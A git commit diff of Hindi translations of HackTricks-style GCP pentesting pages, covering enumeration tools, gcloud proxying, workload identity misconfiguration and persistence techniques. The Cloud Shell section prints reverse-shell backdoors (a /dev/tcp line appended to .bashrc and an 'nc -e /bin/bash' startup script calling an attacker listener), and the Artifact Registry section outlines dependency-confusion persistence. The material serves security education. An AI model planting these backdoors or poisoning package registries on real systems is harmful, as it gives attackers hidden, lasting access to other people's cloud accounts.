Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-02 00:06:01 +00:00
parent 0077c42f9c
commit c3127afc90
222 changed files with 2079 additions and 2105 deletions
+21 -21
View File
@@ -4,9 +4,9 @@
## Basic Information
**GCP** वातावरण का **pentesting** शुरू करने से पहले, कुछ **बुनियादी बातें हैं जो आपको जाननी चाहिए** कि यह कैसे काम करता है, ताकि आप समझ सकें कि आपको क्या करना है, कैसे गलत कॉन्फ़िगरेशन खोजं और उन्हें कैसे भुनाएं
**Pentesting शुरू करने से पहले** एक **GCP** वातावरण के बारे में कुछ **बुनियादी बातें जानना आवश्यक है** कि यह कैसे काम करता है, ताकि आप समझ सकें कि आपको क्या करना है, कैसे गलत कॉन्फ़िगरेशन खोजने हैं और उन्हें कैसे शोषण करना है
**संगठन** पदानुक्रम, **अनुमतियाँ** और अन्य बुनियादी अवधारणाएँ इस में समझाई गई हैं:
**संगठन** पदानुक्रम, **अनुमतियाँ** और अन्य बुनियादी अवधारणाएँ निम्नलिखित में समझाई गई हैं:
{{#ref}}
gcp-basic-information/
@@ -21,12 +21,12 @@ gcp-basic-information/
## GCP Pentester/Red Team Methodology
GCP वातावरण का ऑडिट करने के लिए यह जानना बहुत महत्वपूर्ण है: कौन सी **सेवाएँ उपयोग की जा रही हैं**, क्या **प्रकट किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक GCP सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं।
GCP वातावरण का ऑडिट करने के लिए यह जानना बहुत महत्वपूर्ण है: कौन सी **सेवाएँ उपयोग की जा रही हैं**, क्या **प्रदर्शित किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक GCP सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं।
Red Team के दृष्टिकोण से, **GCP वातावरण को समझौता करने का पहला कदम** कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहाँ कुछ विचार दिए गए हैं कि आप ऐसा कैसे कर सकते हैं:
- github (या समान) में **लीक** - OSINT
- **सामाजिक** इंजीनियरिंग (पृष्ठ [**Workspace Security**](../workspace-security/) देखें)
- **सोशल** इंजीनियरिंग (पृष्ठ देखें [**Workspace Security**](../workspace-security/))
- **पासवर्ड** पुन: उपयोग (पासवर्ड लीक)
- GCP-Hosted Applications में कमजोरियाँ
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) जिसमें मेटाडेटा एंडपॉइंट तक पहुँच है
@@ -36,7 +36,7 @@ Red Team के दृष्टिकोण से, **GCP वातावरण
- 3rd पार्टियों के **भंग**
- **आंतरिक** कर्मचारी
या **अप्रमाणित सेवा** को समझौता करके जो प्रकट है:
या एक **अप्रमाणित सेवा** को समझौता करके जो प्रदर्शित है:
{{#ref}}
gcp-unauthenticated-enum-and-access/
@@ -88,28 +88,28 @@ gcloud projects list # Get projects
```
### Principals & IAM Enumeration
यदि आपके पास पर्याप्त अनुमतियाँ हैं, तो **GCP खाते के अंदर प्रत्येक इकाई के विशेषाधिकारों की जांच करना** आपको यह समझने में मदद करेगा कि आप और अन्य पहचान क्या कर सकते हैं और कैसे **विशेषाधिकार बढ़ा सकते हैं**
यदि आपके पास पर्याप्त अनुमतियाँ हैं, तो **GCP खाते के भीतर प्रत्येक इकाई के विशेषाधिकारों की जांच करना** आपको यह समझने में मदद करेगा कि आप और अन्य पहचान क्या कर सकते हैं और कैसे **विशेषाधिकार बढ़ा सकते हैं**
यदि आपके पास IAM को सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो आप **उन्हें ब्रूट-फोर्स करके चुरा सकते हैं**।\
जांचें **संख्यांकन और ब्रूट-फोर्सिंग कैसे करें**:
**सूचीकरण और ब्रूट-फोर्सिंग कैसे करें** यह देखें:
{{#ref}}
gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
> [!NOTE]
> अब जब आपके पास **आपकी क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं, तो उम्मीद है कि आप **पकड़े नहीं गए** हैं)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\
> निम्नलिखित अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के तरीके** देख सकते हैं।
> अब जब आपके पास **अपने क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं, तो उम्मीद है कि आप **पकड़े नहीं गए** हैं)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\
> अगले अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के कुछ तरीके** देख सकते हैं।
## Services Enumeration
GCP में सेवाओं की एक आश्चर्यजनक मात्रा है, निम्नलिखित पृष्ठ पर आप **बुनियादी जानकारी, सूचीकरण** चीटशीट, **पकड़े जाने से बचने** के तरीके, **स्थायीता** प्राप्त करने और उनमें से कुछ के बारे में अन्य **पोस्ट-एक्सप्लइटेशन** ट्रिक्स पाएंग:
GCP में सेवाओं की एक आश्चर्यजनक मात्रा है, अगले पृष्ठ पर आपको **बुनियादी जानकारी, सूचीकरण** चीटशीट, **पकड़े जाने से बचने** के तरीके, **स्थायीता** प्राप्त करने और उनमें से कुछ के बारे में अन्य **पोस्ट-एक्सप्लइटेशन** ट्रिक्स मिलेंग:
{{#ref}}
gcp-services/
{{#endref}}
ध्यान दें कि आपको सभी कार्य **हाथ से** करने की आवश्यकता **नहीं** है, इस पोस्ट के नीचे आप [**स्वचालित उपकरणों**](./#automatic-tools) के बारे में एक **अनुभाग** पा सकते हैं।
ध्यान दें कि आपको सभी का **हाथ से** करने की आवश्यकता **नहीं** है, इस पोस्ट के नीचे आप **स्वचालित उपकरणों** के बारे में एक **अनुभाग** पा सकते हैं [**automatic tools**](./#automatic-tools)
इसके अलावा, इस चरण में आप **असत्यापित उपयोगकर्ताओं के लिए अधिक सेवाएँ उजागर** कर सकते हैं, आप उन्हें शोषण करने में सक्षम हो सकते हैं:
@@ -119,7 +119,7 @@ gcp-unauthenticated-enum-and-access/
## Privilege Escalation, Post Exploitation & Persistence
जब आपने कुछ क्लाउड क्रेडेंशियल्स प्राप्त कर लिए हैं या क्लाउड के अंदर चल रही कुछ सेवा को समझौता कर लिया है, तो सबसे सामान्य तरीका है **गलत कॉन्फ़िगर की गई अनुमतियों का दुरुपयोग** करना जो समझौता किए गए खाते के पास हो सकता है। इसलिए, आपको सबसे पहले अपने विशेषाधिकारों क सूचीबद्ध करना चाहिए
जब आपने कुछ क्लाउड क्रेडेंशियल्स प्राप्त कर लिए हैं या क्लाउड के भीतर चल रही कुछ सेवाओं से समझौता कर लिया है, तो सबसे सामान्य तरीका है **गलत कॉन्फ़िगर की गई अनुमतियों का दुरुपयोग** करना जो समझौता किए गए खाते के पास हो सकता है। इसलिए, आपको जो पहला काम करना चाहिए वह है अपने विशेषाधिकारों क सूची बनाना
इसके अलावा, इस सूचीकरण के दौरान, याद रखें कि **अनुमतियाँ "संगठन" के उच्चतम स्तर पर सेट की जा सकती हैं**
@@ -137,8 +137,8 @@ gcp-persistence/
### Publicly Exposed Services
जब आप GCP सेवाओं क सूचीबद्ध कर रहे होंगे, तो आप उनमें से कुछ को **इंटरनेट पर तत्वों को उजागर करते हुए** पा सकते हैं (VM/कंटेनर पोर्ट, डेटाबेस या कतार सेवाएँ, स्नैपशॉट या बाल्टियाँ...)।\
एक पेंटेस्टर/रेड टीमर के रूप में, आपको हमेशा यह जांचना चाहिए कि क्या आप उन पर **संवेदनशील जानकारी / कमजोरियों** को खोज सकते हैं क्योंकि वे आपको **AWS खाते में आगे की पहुँच** प्रदान कर सकते हैं।
जब आप GCP सेवाओं क सूची बना रहे होंगे, तो आप उनमें से कुछ को **इंटरनेट पर तत्व उजागर करते हुए** पा सकते हैं (VM/Containers पोर्ट, डेटाबेस या कतार सेवाएँ, स्नैपशॉट या बाल्टियाँ...)।\
एक पेंटेस्टर/रेड टीमर के रूप में, आपको हमेशा यह जांचना चाहिए कि क्या आप उनमें **संवेदनशील जानकारी / कमजोरियाँ** पा सकते हैं क्योंकि वे आपको **AWS खाते में आगे की पहुँच** प्रदान कर सकते हैं।
इस पुस्तक में आपको **जानकारी** मिलेगी कि **कैसे उजागर GCP सेवाओं को खोजें और उन्हें कैसे जांचें**। उजागर नेटवर्क सेवाओं में **कमजोरियों** को खोजने के लिए, मैं आपको **विशिष्ट सेवा** के लिए **खोजने** की सिफारिश करूंगा:
@@ -148,7 +148,7 @@ https://book.hacktricks.xyz/
## GCP <--> Workspace Pivoting
**एक** प्लेटफ़ॉर्म में प्रिंसिपल को **समझौता करना** एक हमलावर को **दूसरे को समझौता करने** की अनुमति दे सकता है, इसे जांचें:
**एक** प्लेटफ़ॉर्म में **समझौता करना** एक हमलावर को **दूसरे को समझौता करने** की अनुमति दे सकता है, इसे देखें:
{{#ref}}
gcp-to-workspace-pivoting/
@@ -158,8 +158,8 @@ gcp-to-workspace-pivoting/
- **GCloud कंसोल** में, [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) पर आप प्रोजेक्ट द्वारा उपयोग की जा रही संसाधनों और IAMs को देख सकते हैं।
- यहाँ आप इस API द्वारा समर्थित संपत्तियों को देख सकते हैं: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
- जांचें **उपकरण** जो [**कई क्लाउड में उपयोग किए जा सकते हैं**](../pentesting-cloud-methodology.md)।
- [**gcp_scanner**](https://github.com/google/gcp_scanner): यह एक GCP संसाधन स्कैनर है जो यह निर्धारित करने में मदद कर सकता है कि **कुछ क्रेडेंशियल्स पर GCP पर किस स्तर की पहुँच है**
- **उपकरणों** की जाँच करें जो [**कई क्लाउड में उपयोग किए जा सकते हैं**](../pentesting-cloud-methodology.md)।
- [**gcp_scanner**](https://github.com/google/gcp_scanner): यह एक GCP संसाधन स्कैनर है जो यह निर्धारित करने में मदद कर सकता है कि **किसी विशेष क्रेडेंशियल्स पर GCP पर किस स्तर की पहुँच है**
```bash
# Install
git clone https://github.com/google/gcp_scanner.git
@@ -170,8 +170,8 @@ pip install -r requirements.txt
# Execute with gcloud creds
python3 __main__.py -o /tmp/output/ -g "$HOME/.config/gcloud"
```
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash स्क्रिप्ट जो gcloud cli का उपयोग करके GCP वातावरण को एन्यूमरेट करती है और परिणामों को एक फ़ाइल में सहेजती है।
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): उच्च IAM विशेषाधिकारों को एन्यूमरेट करने और GCP में उनका दुरुपयोग करके विशेषाधिकारों को बढ़ाने के लिए स्क्रिप्ट (मैं एन्यूमरेट स्क्रिप्ट को चलाने में असमर्थ था)।
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash स्क्रिप्ट जो gcloud cli का उपयोग करके GCP वातावरण को सूचीबद्ध करती है और परिणामों को एक फ़ाइल में सहेजती है।
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): उच्च IAM विशेषाधिकारों को सूचीबद्ध करने और GCP में उनका दुरुपयोग करके विशेषाधिकारों को बढ़ाने के लिए स्क्रिप्ट (मैं सूचीबद्ध स्क्रिप्ट को चलाने में असमर्थ था)।
- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): आपकी अनुमतियों को ब्रूटफोर्स करने के लिए स्क्रिप्ट।
## gcloud config & debug
@@ -191,7 +191,7 @@ gcloud components update
```
### Capture gcloud, gsutil... network
याद रखें कि आप **`gcloud`** cli के साथ **`--log-http`** **पैरामीटर** का उपयोग कर सकते हैं ताकि **उपकरण** द्वारा किए जा रहे **अनुरोधों** को **प्रिंट**िया जा सके। यदि आप नहीं चाहते कि लॉग टोकन मान को छुपाएं, तो `gcloud config set log_http_redact_token false` का उपयोग करें।
याद रखें कि आप **`gcloud`** cli के साथ **`--log-http`** **पैरामीटर** का उपयोग करके **उपकरण द्वारा किए जा रहे** **अनुरोधों** को **प्रिंट**र सकते हैं। यदि आप नहीं चाहते कि लॉग टोकन मान को छुपाएं, तो `gcloud config set log_http_redact_token false` का उपयोग करें।
इसके अलावा, संचार को इंटरसेप्ट करने के लिए:
```bash
@@ -210,7 +210,7 @@ gcloud config unset proxy/type
gcloud config unset auth/disable_ssl_validation
gcloud config unset core/custom_ca_certs_file
```
### OAuth टोकन gcloud में कॉन्फ़िगर करें
### gcloud में OAuth टोकन कॉन्फ़िगर करें
**मेटाडेटा एंडपॉइंट से निकाले गए सेवा खाते के OAuth टोकन का उपयोग करने के लिए** आप बस कर सकते हैं:
```bash
File diff suppressed because one or more lines are too long
@@ -55,7 +55,7 @@ providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
--workload-identity-pool $poolName \
--format='get(name)')
```
- अंत में, **प्रदाता से प्रिंसिपल को सेवा प्रिंसिपल का उपयोग करने की अनुमति दें**:
- अंत में, **प्रदाता से प्रिंसिपल को सेवा प्रिंसिपल का उपयोग करने की अनुमति दें:**
```bash
gitHubRepoName="repo-org/repo-name"
gcloud iam service-accounts add-iam-policy-binding $saId \
@@ -63,7 +63,7 @@ gcloud iam service-accounts add-iam-policy-binding $saId \
--member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}"
```
> [!WARNING]
> ध्यान दें कि पिछले सदस्य में हम सेवा खाते तक पहुँचने के लिए **`org-name/repo-name`** को शर्तों के रूप में निर्दिष्ट कर रहे हैं (अन्य पैरामीटर जो इसे **अधिक प्रतिबंधात्मक** बनाते हैं जैसे शाखा का भी उपयोग किया जा सकता है)।
> ध्यान दें कि पिछले सदस्य में हम **`org-name/repo-name`** को सेवा खाते तक पहुँचने की शर्तों के रूप में निर्दिष्ट कर रहे हैं (अन्य पैरामीटर जो इसे **अधिक प्रतिबंधात्मक** बनाते हैं जैसे कि शाखा का भी उपयोग किया जा सकता है)।
>
> हालाँकि, यह भी संभव है कि **सभी github को सेवा खाते तक पहुँचने की अनुमति दें** एक प्रदाता बनाकर जैसे कि निम्नलिखित एक वाइल्डकार्ड का उपयोग कर:
@@ -99,7 +99,7 @@ providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
</strong></code></pre>
> [!WARNING]
> इस मामले में कोई भी github actions से सेवा खाते तक पहुँच सकता है, इसलिए हमेशा **जांचना महत्वपूर्ण है कि सदस्य कैसे परिभाषित है**।\
> इस मामले में कोई भी github actions से सेवा खाते तक पहुँच सकता है, इसलिए यह हमेशा **जांचना महत्वपूर्ण है कि सदस्य कैसे परिभाषित है**।\
> यह हमेशा कुछ ऐसा होना चाहिए:
>
> `attribute.{custom_attribute}`:`principalSet://iam.googleapis.com/projects/{project}/locations/{location}/workloadIdentityPools/{pool}/attribute.{custom_attribute}/{value}`
@@ -4,7 +4,7 @@
* **एक नया** **प्रोजेक्ट** **बनाएँ**
* उस प्रोजेक्ट के अंदर **एक सेवा खाता** **बनाएँ** ( **json प्रमाणपत्र** प्राप्त करें) या **एक नया उपयोगकर्ता** **बनाएँ**
* ORGANIZATION पर बाद में उल्लेखित **भूमिकाएँ** **सेवा खाते** या **उपयोगकर्ता** को **देें**
* **सेवा खाते** या **उपयोगकर्ता** को ORGANIZATION पर बाद में उल्लेखित **भूमिकाएँ** **देें**
* बनाए गए प्रोजेक्ट में इस पोस्ट में बाद में उल्लेखित **APIs** को **सक्षम** करें
उपकरणों का उपयोग करने के लिए **अनुमतियों का सेट** जो बाद में प्रस्तावित किया गया है:
@@ -13,7 +13,7 @@ roles/viewer
roles/resourcemanager.folderViewer
roles/resourcemanager.organizationViewer
```
APIs को सक्षम करें (स्टारबेस से):
APIs को सक्षम करने के लिए (starbase से):
```
gcloud services enable \
serviceusage.googleapis.com \
@@ -41,7 +41,7 @@ privateca.googleapis.com \
cloudasset.googleapis.com \
accesscontextmanager.googleapis.com
```
## व्यक्तिगत उपकरणों की अनुमति
## व्यक्तिगत उपकरण अनुमतियाँ
### [PurplePanda](https://github.com/carlospolop/PurplePanda/tree/master/intel/google)
```
@@ -12,7 +12,7 @@ API Keys के बारे में अधिक जानकारी के
### नया बनाएं / मौजूदा तक पहुँचें
यह करने के लिए देखें:
यह कैसे करना है, देखें:
{{#ref}}
../gcp-privilege-escalation/gcp-apikeys-privesc.md
@@ -10,11 +10,11 @@ App Engine के बारे में अधिक जानकारी क
../gcp-services/gcp-app-engine-enum.md
{{#endref}}
### Modify code
### कोड संशोधित करें
यदि आप एक चल रही संस्करण के कोड को संशोधित कर सकते हैं या एक नया बना सकते हैं, तो आप इसे अपने बैकडोर को चलाने और स्थिरता बनाए रखने के लिए बना सकते हैं।
यदि आप एक चल रही संस्करण के कोड को संशोधित कर सकते हैं या एक नया बना सकते हैं, तो आप इसे अपने बैकडोर को चलाने के लिए बना सकते हैं और स्थिरता बनाए रख सकते हैं।
### Old version persistence
### पुराने संस्करण की स्थिरता
**वेब एप्लिकेशन का हर संस्करण चलने वाला है**, यदि आप पाते हैं कि एक App Engine प्रोजेक्ट कई संस्करण चला रहा है, तो आप **एक नया बना सकते हैं** जिसमें आपका **बैकडोर** कोड हो, और फिर **एक नया वैध** बना सकते हैं ताकि अंतिम वाला वैध हो लेकिन एक **बैकडोर वाला भी चल रहा होगा**
@@ -12,26 +12,26 @@ Artifact Registry के बारे में अधिक जानकार
### Dependency Confusion
- क्या होता है अगर एक **remote और एक standard** repositories **एक virtual** में **मिश्रित** हो जाएं और एक पैकेज दोनों में मौजूद ह?
- **वर्चुअल रिपॉजिटरी** में सेट की गई **उच्चतम प्राथमिकता** वाला पैकेज उपयोग किया जाता है
- अगर **प्राथमिकता समान है**:
- अगर **संस्करण** **समान** है, तो **वर्चुअल रिपॉजिटरी** में **नीति नाम वर्णानुक्रम में** पहले उपयोग किया जाता है
- अगर नहीं, तो **उच्चतम संस्करण** का उपयोग किया जाता है
- क्या होता है अगर एक **remote और एक standard** repositories **एक virtual** में मिलाए जाते हैं और एक package दोनों में मौजूद ह?
- **Virtual repository** में **highest priority** सेट किया गया वाला उपयोग किया जाता है
- अगर **priority समान है**:
- अगर **version** **समान है**, तो **policy name alphabetically** पहले वाले का उपयोग किया जाता है
- अगर नहीं, तो **highest version** का उपयोग किया जाता है
> [!CAUTION]
> इसलिए, यदि remote repository की प्राथमिकता उच्च या समान है, तो एक सार्वजनिक पैकेज रजिस्ट्री में **उच्चतम संस्करण (dependency confusion)** का **दुरुपयोग** करना संभव है
> इसलिए, यह संभव है कि एक सार्वजनिक package registry में **highest version (dependency confusion)** का **दुरुपयोग** किया जाए अगर remote repository की priority अधिक या समान है
यह तकनीक **persistence** और **unauthenticated access** के लिए उपयोगी हो सकती है, क्योंकि इसका दुरुपयोग करने के लिए केवल **Artifact Registry** में संग्रहीत **लाइब्रेरी का नाम** जानना और **सार्वजनिक रिपॉजिटरी (उदाहरण के लिए, Python के लिए PyPi)** में उसी लाइब्रेरी को उच्च संस्करण के साथ बनाना आवश्यक है।
यह तकनीक **persistence** और **unauthenticated access** के लिए उपयोगी हो सकती है क्योंकि इस दुरुपयोग करने के लिए केवल **Artifact Registry** में संग्रहीत **library name** को **जानना** और **सार्वजनिक repository (उदाहरण के लिए Python के लिए PyPi)** में उसी library को उच्च version के साथ **बनाना** आवश्यक है।
**Persistence** के लिए आपको निम्नलिखित चरणों का पालन करना होगा:
Persistence के लिए आपको निम्नलिखित चरणों का पालन करना होगा:
- **आवश्यकताएँ**: एक **वर्चुअल रिपॉजिटरी** का **अस्तित्व** होना चाहिए और इसका उपयोग किया जाना चाहिए, एक **आंतरिक पैकेज** जिसका **नाम** **सार्वजनिक रिपॉजिटरी** में मौजूद नहीं है, का उपयोग किया जाना चाहिए।
- यदि यह मौजूद नहीं है तो एक remote repository बनाएं
- वर्चुअल रिपॉजिटरी में remote repository जोड़ें
- वर्चुअल रजिस्ट्री की नीतियों को संपादित करें ताकि remote repository को उच्च प्राथमिकता (या समान) दी जा सके।\
- **Requirements**: एक **virtual repository** का **अस्तित्व** होना चाहिए और इसका उपयोग किया जाना चाहिए, एक **internal package** जिसका **name** **public repository** में मौजूद नहीं है, का उपयोग किया जाना चाहिए।
- अगर यह मौजूद नहीं है तो एक remote repository बनाएं
- Remote repository को virtual repository में जोड़ें
- Remote repository को उच्च (या समान) priority देने के लिए virtual registry की नीतियों को संपादित करें।\
कुछ ऐसा चलाएं:
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
- वैध पैकेज डाउनलोड करें, अपने दुर्भावनापूर्ण कोड को जोड़ें और इसे उसी संस्करण के साथ सार्वजनिक रिपॉजिटरी में पंजीकृत करें। हर बार जब एक डेवलपर इसे स्थापित करता है, तो वह आपका पैकेज स्थापित करेगा!
- वैध package डाउनलोड करें, अपने दुर्भावनापूर्ण कोड को जोड़ें और इसे सार्वजनिक repository में उसी version के साथ पंजीकृत करें। हर बार जब एक developer इसे स्थापित करता है, तो वह आपका स्थापित करेगा!
Dependency confusion के बारे में अधिक जानकारी के लिए देखें:
@@ -10,9 +10,9 @@ BigQuery के बारे में अधिक जानकारी के
../gcp-services/gcp-bigquery-enum.md
{{#endref}}
### Grant further access
### अतिरिक्त पहुँच प्रदान करें
समझौता किए गए उपयोगकर्ताओं या बाहरी उपयोगकर्ताओं को डेटा सेट, तालिकाओं, पंक्तियों और कॉलमों पर आगे की पहुच प्रदान करें। आवश्यक विशेषाधिकारों की जाच करें और इसे करने के तरीके के लिए पृष्ठ देखें:
समझौता किए गए उपयोगकर्ताओं या बाहरी उपयोगकर्ताओं को डेटा सेट, तालिकाओं, पंक्तियों और कॉलम पर अतिरिक्त पहुच प्रदान करें। आवश्यक विशेषाधिकारों की जाच करें और इसे करने के तरीके के लिए पृष्ठ देखें:
{{#ref}}
../gcp-privilege-escalation/gcp-bigquery-privesc.md
@@ -12,8 +12,8 @@ Cloud Functions के बारे में अधिक जानकारी
### Persistence Techniques
- **Cloud Function का कोड संशोधित करें**, यहां तक कि केवल `requirements.txt`
- **किसी को भी** एक कमजोर Cloud Function या एक बैकडोर को कॉल करने की अनुमति दें
- **जब कुछ होता है** तो एक Cloud Function को ट्रिगर करें ताकि कुछ संक्रमित हो सके
- **Cloud Function का कोड संशोधित करें**, यहां तक कि केवल `requirements.txt` भी
- **किसी को भी** एक कमजोर Cloud Function या एक बैकडोर वाले को कॉल करने की अनुमति दें
- **जब कुछ होता है** तो कुछ संक्रमित करने के लिए एक Cloud Function को **ट्रिगर** करें
{{#include ../../../banners/hacktricks-training.md}}
@@ -19,23 +19,23 @@
इस कंसोल में हमलावरों के लिए कुछ दिलचस्प क्षमताएँ हैं:
1. **कोई भी Google उपयोगकर्ता जिसे Google Cloud तक पहुंच है** एक पूरी तरह से प्रमाणित Cloud Shell उदाहरण तक पहुंच रखता है (सेवा खाते, यहां तक कि संगठन के मालिक होने पर भी)।
2. कहा गया उदाहरण **कम से कम 120 दिनों तक अपने होम डायरेक्टरी को बनाए रखेगा** यदि कोई गतिविधि नहीं होती है।
2. कहा गया उदाहरण **कम से कम 120 दिनों तक** अपने होम डायरेक्टरी को बनाए रखेगा यदि कोई गतिविधि नहीं होती है।
3. उस उदाहरण की गतिविधि की निगरानी के लिए **किसी संगठन के लिए कोई क्षमताएँ नहीं हैं**
इसका मतलब यह है कि एक हमलावर उपयोगकर्ता के होम डायरेक्टरी में एक बैकडोर रख सकता है और जब तक उपयोगकर्ता हर 120 दिनों में कम से कम GC Shell से कनेक्ट करता है, बैकडोर जीवित रहेगा और हमलावर को हर बार इसे चलाने पर एक शेल मिलेगा बस ऐसा करके:
इसका मतलब यह है कि एक हमलावर उपयोगकर्ता के होम डायरेक्टरी में एक बैकडोर रख सकता है और जब तक उपयोगकर्ता हर 120 दिनों में GC Shell से कनेक्ट करता है, बैकडोर जीवित रहेगा और हमलावर हर बार इसे चलाने पर एक शेल प्राप्त करेगा बस ऐसा करके:
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
एक और फ़ाइल है जो होम फ़ोल्डर में **`.customize_environment`** कहलाती है, जो यदि मौजूद है, तो **हर बार** उपयोगकर्ता द्वारा **cloud shell** का उपयोग करने पर **चलायी जाएगी** (जैसे पिछले तकनीक में)। बस पिछले बैकडोर या निम्नलिखित में से एक को डालें ताकि उपयोगकर्ता "नियमित रूप से" cloud shell का उपयोग करते समय स्थिरता बनी रहे:
```bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
```
> [!WARNING]
> यह ध्यान रखना महत्वपूर्ण है कि **जब पहली बार कोई क्रिया जो प्रमाणीकरण की आवश्यकता होती है, की जाती है**, तो उपयोगकर्ता के ब्राउज़र में एक पॉप-अप प्राधिकरण विंडो प्रकट होती है। इस विंडो को स्वीकार करना आवश्यक है इससे पहले कि कमांड चल सके। यदि कोई अप्रत्याशित पॉप-अप प्रकट होता है, तो यह संदेह पैदा कर सकता है और संभावित रूप से उपयोग की जा रही स्थिरता विधि को खतरे में डाल सकता है।
> यह ध्यान रखना महत्वपूर्ण है कि **पहली बार जब कोई क्रिया जो प्रमाणीकरण की आवश्यकता होती है, की जाती है**, तो उपयोगकर्ता के ब्राउज़र में एक पॉप-अप प्राधिकरण विंडो प्रकट होती है। इस विंडो को स्वीकार करना आवश्यक है इससे पहले कि कमांड चल सके। यदि कोई अप्रत्याशित पॉप-अप प्रकट होता है, तो यह संदेह पैदा कर सकता है और संभावित रूप से उपयोग की जा रही स्थिरता विधि को खतरे में डाल सकता है।
यह पॉप-अप है जो `gcloud projects list` को क्लाउड शेल (हमलावर के रूप में) से निष्पादित करने पर उपयोगकर्ता सत्र में देखा गया:
यह पॉप-अप है जो `gcloud projects list` को क्लाउड शेल (हमलावर के रूप में) से निष्पादित करने पर उपयोगकर्ता सत्र में ब्राउज़र में देखा जाता है:
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
@@ -52,7 +52,7 @@ gcloud auth application-default print-access-token
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (यह आपको इंस्टेंस शुरू करने के लिए कहेगा)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (यह आपको गूगल क्लाउड शेल का आईपी बताएगा)
लेकिन आप [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) में और जानकारी प्राप्त कर सकते हैं
लेकिन आप [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) में और जानकारी प्राप्त कर सकते हैं
## संदर्भ
@@ -10,9 +10,9 @@ Cloud SQL के बारे में अधिक जानकारी क
../gcp-services/gcp-cloud-sql-enum.md
{{#endref}}
### डेटाबेस को एक्सपोज़ करें और अपने IP पते को व्हitelist करें
### डेटाबेस को एक्सपोज़ करें और अपने IP पते को व्हाइटलिस्ट करें
एक डेटाबेस जो केवल एक आंतरिक VPC से सुलभ है, उसे बाहरी रूप से एक्सपोज़ किया जा सकता है और आपके IP पते को व्हitelist किया जा सकता है ताकि आप इसे एक्सेस कर सकें।\
एक डेटाबेस जो केवल एक आंतरिक VPC से सुलभ है, उसे बाहरी रूप से एक्सपोज़ किया जा सकता है और आपके IP पते को व्हाइटलिस्ट किया जा सकता है ताकि आप इसे एक्सेस कर सकें।\
अधिक जानकारी के लिए तकनीक देखें:
{{#ref}}
@@ -21,8 +21,8 @@ Cloud SQL के बारे में अधिक जानकारी क
### एक नया उपयोगकर्ता बनाएं / उपयोगकर्ता का पासवर्ड अपडेट करें / एक उपयोगकर्ता का पासवर्ड प्राप्त करें
एक डेटाबेस से कनेक्ट करने के लिए आपको **बस डेटाबेस द्वारा एक्सपोज़ किए गए पोर्ट** और एक **उपयोगकर्ता ना** और **पासवर्ड** की आवश्यकता है। पर्याप्त **अधिकारों** के साथ आप **एक नया उपयोगकर्ता बना सकते हैं** या **एक मौजूदा उपयोगकर्ता का पासवर्ड अपडेट कर सकते हैं**।\
एक और विकल्प होगा **क उपयोगकर्ता के पासवर्ड को ब्रूट फोर्स करना** कई पासवर्ड आजमाकर या डेटाबेस के अंदर उपयोगकर्ता के **हैश किए गए** पासवर्ड तक पहुचकर (यदि संभव हो) और उसे क्रैक करके।\
